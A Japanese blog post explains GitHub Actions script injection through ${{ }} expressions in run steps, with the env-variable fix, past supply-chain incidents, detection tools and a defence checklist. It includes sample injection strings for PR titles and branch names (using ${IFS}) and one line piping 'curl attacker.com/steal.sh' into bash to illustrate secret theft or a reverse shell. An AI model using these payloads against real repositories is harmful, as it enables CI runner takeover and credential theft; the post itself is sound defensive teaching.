本文へスキップ
hdknr blog
戻る

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

GitHub Actions スクリプトインジェクション完全解説 — ${{ }}run に書いた瞬間、攻撃者にシェルを渡している

『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。

はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね!

引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。

何が危険なのか — 30秒で理解する

# 危険なコード
- run: echo "PR title is ${{ github.event.pull_request.title }}"

一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。

"; echo INJECTED"

展開後のシェルコマンドは以下になります。

echo "PR title is "; echo INJECTED""

セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。

なぜ起きるのか — テンプレート式の評価タイミング

GitHub Actions の ${{ }} テンプレート式は、シェルが起動する前に評価・展開されます。

ワークフロー YAML を読み込み

${{ }} 式を文字列として展開(この時点でシェルは未起動)

展開後の文字列をシェル(bash)に渡す

シェルがコマンドとして解釈・実行

つまり ${{ }}シェル変数ではなく、文字列置換です。シェルの引用符やエスケープ機構を一切通過しないため、攻撃者が挿入した ;"$() などのメタ文字がそのままシェルに解釈されます。

攻撃対象になるコンテキスト

GitHub 公式ドキュメントによると、攻撃者が制御可能なコンテキストは以下の属性で終わるものです。

body, default_branch, email, head_ref, label, message, name, page_name, ref, title

具体的には以下が攻撃対象になります。

コンテキスト攻撃経路
github.event.pull_request.titlePR タイトルに悪意ある文字列を設定
github.event.pull_request.bodyPR 本文にインジェクションコードを埋め込み
github.event.issue.titleIssue タイトルを利用
github.event.issue.bodyIssue 本文を利用
github.event.comment.bodyコメントを利用
github.head_refブランチ名にコードを埋め込み
github.event.commits[*].messageコミットメッセージを利用

ブランチ名を使った攻撃

ブランチ名にはスペースが使えませんが、${IFS}(Internal Field Separator)で回避できます。

main";echo${IFS}INJECTED"

このブランチ名で PR を作成すると、${{ github.head_ref }} を使ったワークフローでインジェクションが成立します。

修正方法 — 環境変数を経由する

修正は 1 行の変更です。${{ }}run の中で直接使う代わりに、環境変数を経由させます。

危険なパターン

- run: echo "PR title is ${{ github.event.pull_request.title }}"

安全なパターン

- run: echo "PR title is ${PR_TITLE}"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

env で渡された値はシェル環境変数として扱われるため、メタ文字がコマンドとして解釈されません。

注意: ${{ env.* }} は安全ではない

# これも危険!
- run: echo "PR title is ${{ env.PR_TITLE }}"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

${{ env.PR_TITLE }} は再びテンプレート式として展開されるため、環境変数を経由した意味がなくなります。必ず ${PR_TITLE}(シェル変数参照)を使ってください。

実際の被害事例 — 2025年のサプライチェーン攻撃

スクリプトインジェクションが「理論上の脅威」ではないことは、2025年に発生した一連の攻撃で証明されています。

tj-actions/changed-files 攻撃(CVE-2025-30066)

2025年3月、23,000以上のリポジトリで使用されていた tj-actions/changed-files が侵害されました。

項目内容
影響範囲23,000+ リポジトリ
攻撃手法複数バージョンタグを悪意あるコミットに書き換え
被害CI ランナーのメモリダンプ → シークレット(PAT、npm トークン、RSA キー)が公開リポジトリのログに露出
関連 CVECVE-2025-30154(reviewdog/action-setup も同時に侵害)

CISA(米国サイバーセキュリティ・社会基盤安全保障庁)が緊急アラートを発出する規模の事件でした。

Ultralytics YOLO 攻撃(2024年12月)

AI/ML で広く使われる YOLO ライブラリが、GitHub Actions ワークフローの脆弱性を突かれて侵害されました。CI/CD パイプライン経由で悪意あるコードがパッケージに混入し、PyPI を通じて配布されました。

Super-linter コマンドインジェクション(CVE-2026-25761)

2026年には、広く使われている Super-linter でファイル名を経由したコマンドインジェクションが発見されています。バージョン 6.0.0〜8.3.0 が影響を受け、攻撃者は細工されたファイル名にシェルコマンド置換構文を含めることで任意のコマンドを実行できました。

検出ツール — 自動で脆弱性を見つける

actionlint

GitHub Actions ワークフローファイルの静的解析ツールです。スクリプトインジェクションの検出に対応しています。

# インストール
brew install actionlint

# 実行
actionlint .github/workflows/*.yml

${{ }}run ステップで直接使用している箇所を検出し、警告を出します。

zizmor

GitHub Actions に特化したセキュリティ静的解析ツールです。actionlint より広範なセキュリティチェックを提供します。

# インストール
pip install zizmor

# 実行
zizmor .github/workflows/

検出項目:

SARIF 形式での出力に対応しており、GitHub Advanced Security の Security タブに結果を表示できます。

CI/CD に組み込む

name: Security Check
on: [pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run actionlint
        uses: rhysd/actionlint@v1
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

防御チェックリスト

#対策説明
1${{ }}run で直接使わない環境変数 env: を経由させる
2${{ env.* }} も使わないシェル変数 ${VAR} を使う
3actionlint / zizmor を CI に導入PR ごとに自動チェック
4サードパーティ Actions をコミットハッシュでピン留めタグは書き換え可能なため @v1 ではなく @sha256:...
5permissions を最小権限に設定permissions: read-all やデフォルトの広い権限を避ける
6pull_request_target を避けるFork からの PR で書き込み権限が付与される危険なトリガー
7シークレットをログに出力しない::add-mask:: で自動マスクを設定

『GitHub CI/CD実践ガイド』について

tmknom 氏が「穴が開くまで読んでください」と呼びかけている『GitHub CI/CD実践ガイド』(技術評論社、2024年)は、GitHub Actions の設計と運用を体系的に解説した書籍です。

本書は以下を網羅しています。

スクリプトインジェクションのような個別の脆弱性だけでなく、CI/CD パイプライン全体のセキュリティ設計を学べる点が、単発の記事との違いです。

まとめ


参考



前の記事
# OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録
次の記事
OpenRouter で AI モデルを一元管理する — コスト削減と効率化の実践